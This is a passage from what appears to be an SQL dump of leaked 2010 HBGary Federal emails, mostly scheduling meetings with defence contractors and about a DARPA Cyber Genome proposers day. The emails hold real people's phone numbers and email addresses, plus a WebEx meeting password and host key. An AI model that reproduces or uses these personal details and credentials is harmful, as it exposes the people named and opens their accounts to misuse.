2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14022,'aaron_hbgary_com/14022.html'),(1716,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000539.M30894P3547Q1715.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Lunch with Tom','Yep tomorrow.\r\n\r\n From my iPhone\r\n\r\nOn Jan 28, 2010, at 1:36 PM, \"Robinson, Cassie\"\r\n wrote:\r\n\r\n> Aaron -- are we talking tomorrow or the 9th of Feb? I have you on\r\n> Tom\'s\r\n> calendar for tomorrow.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, January 28, 2010 1:20 PM\r\n> To: Robinson, Cassie\r\n> Cc: Conroy, Thomas W.\r\n> Subject: Lunch with Tom\r\n>\r\n> Hi Cassie,\r\n>\r\n> I am not sure where Tom is going to be.  Any chance we can change the\r\n> lunch location to somewhere in Arlington/Rosslyn.  There is a DARPA\r\n> proposers day for their Cyber Genome Project all day tomorrow.  I am\r\n> also scheduled to go and present at the second session on Feb. 9th, so\r\n> don\'t need to make the whole day but would like to do some glad\r\n> handing...all that to say.   If we could move the location then I can\r\n> cut out for a bit to have lunch, which I am looking forward to.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',10216,'aaron_hbgary_com/10216.html'),(1717,'2010-01-28','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000539.M521750P3547Q1717.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Friday, January 29, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Ruby Tuesday\'s (1300 WILSON BLVD)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nNot too far from the Metro \r\n\r\n\r\n',505,'aaron_hbgary_com/505.html'),(1718,'2010-01-28','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000539.M721677P3547Q1718.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lunch with Tom','Ok -- there is a Ruby Tuesday\'s on Wilson and Ft Myer drive. You could\r\neven Metro\r\n\r\n\r\n1300 WILSON BLVD\r\n703-526-1956\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 1:39 PM\r\nTo: Robinson, Cassie\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Lunch with Tom\r\n\r\nYep tomorrow.\r\n\r\n From my iPhone\r\n\r\nOn Jan 28, 2010, at 1:36 PM, \"Robinson, Cassie\"\r\n wrote:\r\n\r\n> Aaron -- are we talking tomorrow or the 9th of Feb? I have you on\r\n> Tom\'s\r\n> calendar for tomorrow.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, January 28, 2010 1:20 PM\r\n> To: Robinson, Cassie\r\n> Cc: Conroy, Thomas W.\r\n> Subject: Lunch with Tom\r\n>\r\n> Hi Cassie,\r\n>\r\n> I am not sure where Tom is going to be.  Any chance we can change the\r\n> lunch location to somewhere in Arlington/Rosslyn.  There is a DARPA\r\n> proposers day for their Cyber Genome Project all day tomorrow.  I am\r\n> also scheduled to go and present at the second session on Feb. 9th, so\r\n> don\'t need to make the whole day but would like to do some glad\r\n> handing...all that to say.   If we could move the location then I can\r\n> cut out for a bit to have lunch, which I am looking forward to.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',14421,'aaron_hbgary_com/14421.html'),(1719,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000539.M903565P3547Q1719.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Event accepted: Lunch: Aaron Barr/Tom Conroy','Aaron Barr has accepted your iCal event invitation to the event: Lunch: Aaron Barr/Tom Conroy, scheduled for January 29, 2010 at 10:30 AM (Central Standard Time).',3571,'aaron_hbgary_com/3571.html'),(1720,'2010-01-28','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297000541.M341078P3547Q1720.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting (Aaron Barr/Al Pisani)','\r\n\r\n\r\n\r\n\r\nMeeting (Aaron Barr/Al Pisani)\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 04, 2010 2:30 PM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: TASC Westfields 4, 4807 Stonecroft Blvd. Chantilly, VA 20151\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n1/28/10 &#8211; Meeting rescheduled from Fri 1/29/10 to Thu 2/4/10 from 2:30-3:00 pm.\r\n\r\nDirections and Parking:\r\n\r\nPlease refer to the attachment for directions.&nbsp; Visitor parking is in front of the building.\r\n\r\n &lt;&lt;TASC_Westfields_HCC_Campus.pdf&gt;&gt; \r\n\r\nSign-in/Escort\r\n\r\nUpon your arrival, please go to the lobby (main entrance) and sign-in with the guard.&nbsp; Please ask for Irene Harris (703-633-8473) for escort purposes.\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\nIrene Harris\r\nExecutive Assistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit\r\nOffice: 703-633-8473\r\nBB: 703-201-7718\r\nFax: 703-449-3999\r\nirene.harris@ngc.com\r\n-----------------------------------\r\n\r\n\r\n4807 Stonecroft Boulevard\r\n\r\nChantilly, VA 20151 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3715,'aaron_hbgary_com/3715.html'),(1721,'2010-01-28','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000542.M233105P3547Q1721.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',6758,'aaron_hbgary_com/6758.html'),(1722,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000542.M474225P3547Q1722.eml','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','Event accepted: Meeting (Aaron Barr/Al Pisani)','Aaron Barr has accepted your iCal event invitation to the event: Meeting (Aaron Barr/Al Pisani), scheduled for February 4, 2010 at 1:30 PM (Central Standard Time).',3888,'aaron_hbgary_com/3888.html'),(1723,'2010-01-28','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297000542.M678088P3547Q1723.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nHow does 2 PM sound on Feb 4th (Thursday )?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 1:43 PM\r\nTo: Mulville, Michael E.\r\nSubject: Re: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow does next Thursday work? &nbsp;It shows I responded to\r\nyou already but not sure what I responded with...a bit crazy here as well. :)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the note back.&nbsp; This week is a bit crazy,&nbsp;\r\nhow about next ?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 25,\r\n2010 11:29 PM\r\nTo:&nbsp;Mulville, Michael E.\r\nSubject:&nbsp;Re: Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI actually didn\'t head out to DC3. &nbsp;I will be out in\r\nColorado Springs most of next week. &nbsp;How does your week this week look.\r\n&nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I&#8217;m meeting up with Bob Slapnik shortly to discuss\r\nneeds, and direction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI assuming your headed out to the DC3 show in St. Louis, but\r\nmight be a good idea to meet up, upon your return.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211; Mike Mulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matt O\'Flynn\r\n[mailto:matt@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n21, 2010 1:50 PM\r\nTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n&amp; Michael,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nseeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our\r\nsubsidiary who is specializing in the services we discussed. See contact info\r\nbelow. Hopefully you will find one another&#8217;s capabilities very\r\ncomplementary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719-510-8478-Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nMulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-622-9121\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael\r\nCourtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-306-5683\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nO\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',668,'aaron_hbgary_com/668.html'),(1724,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000542.M864346P3547Q1724.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Lunch with Tom','ok that works...thanks.\r\n\r\nI am going to be at the Ballston Hilton for the proposers day in Arlington which I think is just down the street.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 28, 2010, at 1:46 PM, Robinson, Cassie wrote:\r\n\r\n> 1300 WILSON BLVD\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11047,'aaron_hbgary_com/11047.html'),(1725,'2010-01-28','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297000543.M365884P3547Q1726.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with Al Pisani','welcome\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:27 PM\r\nTo: Harris, Irene G (TASC Inc)\r\nSubject: Re: Meeting with Al Pisani\r\n\r\nthanks Irene.\r\n\r\nAaron\r\n\r\nOn Jan 28, 2010, at 1:50 PM, Harris, Irene G (TASC Inc) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I will reschedule for next Thursday at 2:30 pm.\r\n> \r\n> Thank you,\r\n> Irene\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, January 28, 2010 1:31 PM\r\n> To: Harris, Irene G (TASC Inc)\r\n> Cc: Pisani, Albert A.\r\n> Subject: Meeting with Al Pisani\r\n> \r\n> Hi Irene,\r\n> \r\n> Is it possible to reschedule my meeting with Al tomorrow morning for\r\n> next Thursday (anytime) or next Friday afternoon?\r\n> \r\n> There is a DARPA proposers day for an opportunity that is right up our\r\n> alley that popped up last minute for all day tomorrow.\r\n> \r\n> Thank you.\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',188,'aaron_hbgary_com/188.html'),(1726,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000543.M61069P3547Q1725.eml','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','Re: Meeting with Al Pisani','thanks Irene.\r\n\r\nAaron\r\n\r\nOn Jan 28, 2010, at 1:50 PM, Harris, Irene G (TASC Inc) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I will reschedule for next Thursday at 2:30 pm.\r\n> \r\n> Thank you,\r\n> Irene\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, January 28, 2010 1:31 PM\r\n> To: Harris, Irene G (TASC Inc)\r\n> Cc: Pisani, Albert A.\r\n> Subject: Meeting with Al Pisani\r\n> \r\n> Hi Irene,\r\n> \r\n> Is it possible to reschedule my meeting with Al tomorrow morning for\r\n> next Thursday (anytime) or next Friday afternoon?\r\n> \r\n> There is a DARPA proposers day for an opportunity that is right up our\r\n> alley that popped up last minute for all day tomorrow.\r\n> \r\n> Thank you.\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7540,'aaron_hbgary_com/7540.html'),(1727,'2010-01-28','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297000543.M636394P3547Q1727.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lunch with Tom','Ruby Tuesday\'s is near the Rosslyn metro so it\'s a couple stops on the\r\nOrange line.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:27 PM\r\nTo: Robinson, Cassie\r\nSubject: Re: Lunch with Tom\r\n\r\nok that works...thanks.\r\n\r\nI am going to be at the Ballston Hilton for the proposers day in\r\nArlington which I think is just down the street.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 28, 2010, at 1:46 PM, Robinson, Cassie wrote:\r\n\r\n> 1300 WILSON BLVD\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16464,'aaron_hbgary_com/16464.html'),(1728,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000543.M806360P3547Q1728.eml','\"Mike Junod\" <mjunod@atl.lmco.com>','Re: Cyber Genome Project','Hi Mike,\r\n\r\nI wasn\'t sure what our schedule was going to be but it looks like we will have people covering both days.\r\n\r\nI will be at both sessions.  Greg Hoglund will be out for the 9th session and will be presenting.\r\n\r\nHopefully see you tomorrow.  HBGary CTO, Rich Cummings will also be there tomorrow.\r\n\r\nAaron\r\n\r\nOn Jan 27, 2010, at 9:07 AM, Mike Junod wrote:\r\n\r\n> Aaron,\r\n> \r\n> Will you or someone from your organization be attending either of the Industry Days where we could talk?\r\n> \r\n> On Jan 27, 2010, at 9:04 AM, Aaron Barr wrote:\r\n> \r\n>> Michael,\r\n>> \r\n>> I noticed your listed as an interested Vendor on the DARPA Malware Genome Project FBO page.  I am interested in talking with you about this opportunity.  HBGary actually has an existing working malware genome and Digital DNA product.  We are very successful at detecting zero day attacks based on this technology, including multiple tested variants of Aurora and many other malware that go undetected by AV.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n> \r\n> Mike\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12088,'aaron_hbgary_com/12088.html'),(1729,'2010-01-28','messenger@webex.com','/aaron@hbgary.com/new/1297000544.M188354P3547Q1730.eml','aaron@hbgary.com','Meeting reminder: DARPA Vendor Days','You are scheduled to host this online meeting.   Topic: DARPA Vendor Days  Date: Thursday, January 28, 2010  Time: 3:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 573 376 701  Meeting Password: malware  Host Key: 397615   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=139405527  2. Log in to your account.  3. Click \"Start Now\".  4. Follow the instructions that appear on your screen.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139405527&tollFree=0   Access code:573 376 701  To check for compatibility of rich media players for Universal Communications Format (UCF), click the following link:  https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com   ',3766,'aaron_hbgary_com/3766.html'),(1730,'2010-01-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000544.M367647P3547Q1731.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Etue, David\" <david.etue@fidelissecurity.com>,','Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi David\r\n\r\n&nbsp;\r\n\r\nThanks so much for the phone call today.&nbsp; I really enjoyed\r\ntalking with you, you gave me a lot of insight.&nbsp; Unfortunately Aaron will be\r\nout of town on Wednesday and he really wants to be there for the reasons I told\r\nyou, so can you guys do Monday the 8th? &nbsp;9:30?&nbsp; We can demo our\r\nproduct for you and give your team and overview and Aaron would like to see\r\nyour product and overview.&nbsp; All in the spirit for working together on multiple\r\nfronts.&nbsp; &nbsp;&nbsp;Greg Hoglund the founder and CEO will also be on that call he\r\nhappens to be in DC that week. &nbsp;I would plan 1.5 hours to 2 for both sides to\r\npresent.&nbsp; Does this work?&nbsp; I&#8217;ve copied both Rich(CTO) &nbsp;and Aaron(CEO\r\nHBGary Federal) \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10900,'aaron_hbgary_com/10900.html'),(1731,'2010-01-28','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297000544.M559118P3547Q1732.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMoving to the 8th is\r\nfine.&nbsp; If possible, it would be better to move it to the afternoon as we do our\r\nweekly sales and management meetings on Monday AM from 10-1.&nbsp; If 1 PM doesn&#8217;t\r\nwork, let&#8217;s go ahead with 9:30 and some of us can just miss the weekly updates.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:50 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi David\r\n\r\n&nbsp;\r\n\r\nThanks so much for the phone call today.&nbsp; I really\r\nenjoyed talking with you, you gave me a lot of insight.&nbsp; Unfortunately\r\nAaron will be out of town on Wednesday and he really wants to be there for the\r\nreasons I told you, so can you guys do Monday the 8th?\r\n&nbsp;9:30?&nbsp; We can demo our product for you and give your team and\r\noverview and Aaron would like to see your product and overview.&nbsp; All in\r\nthe spirit for working together on multiple fronts.&nbsp; &nbsp;&nbsp;Greg\r\nHoglund the founder and CEO will also be on that call he happens to be in DC\r\nthat week. &nbsp;I would plan 1.5 hours to 2 for both sides to present.&nbsp;\r\nDoes this work?&nbsp; I&#8217;ve copied both Rich(CTO) &nbsp;and Aaron(CEO HBGary\r\nFederal) \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15457,'aaron_hbgary_com/15457.html'),(1732,'2010-01-28','\"Mike Junod\" <mjunod@atl.lmco.com>','/aaron@hbgary.com/new/1297000544.M7328P3547Q1729.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Genome Project','Aaron,\r\n\r\nI will be attending tomorrow and am registered for the 9th as well.\r\n\r\nOn Jan 28, 2010, at 2:34 PM, Aaron Barr wrote:\r\n\r\n> Hi Mike,\r\n>\r\n> I wasn\'t sure what our schedule was going to be but it looks like we  \r\n> will have people covering both days.\r\n>\r\n> I will be at both sessions.  Greg Hoglund will be out for the 9th  \r\n> session and will be presenting.\r\n>\r\n> Hopefully see you tomorrow.  HBGary CTO, Rich Cummings will also be  \r\n> there tomorrow.\r\n>\r\n> Aaron\r\n>\r\n> On Jan 27, 2010, at 9:07 AM, Mike Junod wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Will you or someone from your organization be attending either of  \r\n>> the Industry Days where we could talk?\r\n>>\r\n>> On Jan 27, 2010, at 9:04 AM, Aaron Barr wrote:\r\n>>\r\n>>> Michael,\r\n>>>\r\n>>> I noticed your listed as an interested Vendor on the DARPA Malware  \r\n>>> Genome Project FBO page.  I am interested in talking with you  \r\n>>> about this opportunity.  HBGary actually has an existing working  \r\n>>> malware genome and Digital DNA product.  We are very successful at  \r\n>>> detecting zero day attacks based on this technology, including  \r\n>>> multiple tested variants of Aurora and many other malware that go  \r\n>>> undetected by AV.\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>> Mike\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal 